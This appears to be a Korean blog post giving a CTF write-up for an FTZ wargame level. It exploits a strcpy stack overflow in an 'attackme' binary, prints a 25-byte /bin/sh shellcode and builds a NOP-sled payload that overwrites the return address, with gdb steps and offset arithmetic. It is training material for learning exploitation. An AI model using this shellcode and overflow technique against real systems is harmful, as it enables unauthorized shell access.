힌트는 다음과 같습니다.
strcpy에서 buf overflow가 발생하는 취약점이 있고, printf(str)에서 포맷스트링버그(FSB)가 발생하는 취약점이 있네요
버퍼 오버 플로우 버그를 이용하여 ROP를 이용해서 풀어보겠습니다.
간단하게 원리를 설명하면 argv[1] 인자에 \x90 (nop)을 채워주고 뒤에 shellcode를 삽입한 후 프로세스의 ret 주소에 argv[1]의 주소를 삽입하여 프로세스가 종료될 때 argv[1]로 가게 하여 shellcode를 실행하여 shell이 실행되는 원리로 해보겠습니다.!
사용한 25byte Shell code는 다음과 같습니다 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
먼저 attackme 파일을 /tmp 디렉터리로 복사 했습니다. (gdb에서 실행하려니 권한 에러가 뜨더라구요 ㅠㅠ)
그 후 gdb를 통해 열어보고 break point를 설정한 후
r `python -c 'print "A"*264'` 로 실행시킨 후 x/100x $esp를 통해 들어간 인자의 주소를 확인해보겠습니다.
A는 \x41 입니다. 0xbffffb40 중간부분부터 채워지고 있네요. 저 위치가 argv[1]의 주소입니다.
argv[1] 주소를 알았으니 아까 계획한대로 입력해보겠습니다.
./process_name `python -c 'print "\x90" * 243 + "Shell Code" + "argv[1] address"'`
여기서 \x90을 243개를 채워주는 이유는 gdb를 통하여 process에 할당된 스택 메모리를 확인해보니까 264더라구요.
264인데 sfp와 ret의 값 8을 더해주면 272입니다.
여기서 272 - 25 (shellcode) -4 (argv[1] address]) 해주면 243이 나옵니다.
'CTF 공부 > FTZ' 카테고리의 다른 글
[FTZ]level13 (0) | 2020.01.23 |
---|---|
[FTZ]level12 (0) | 2020.01.23 |
[FTZ]level10 (0) | 2020.01.22 |
[FTZ]level9 (0) | 2020.01.22 |
[FTZ]level8 (0) | 2020.01.22 |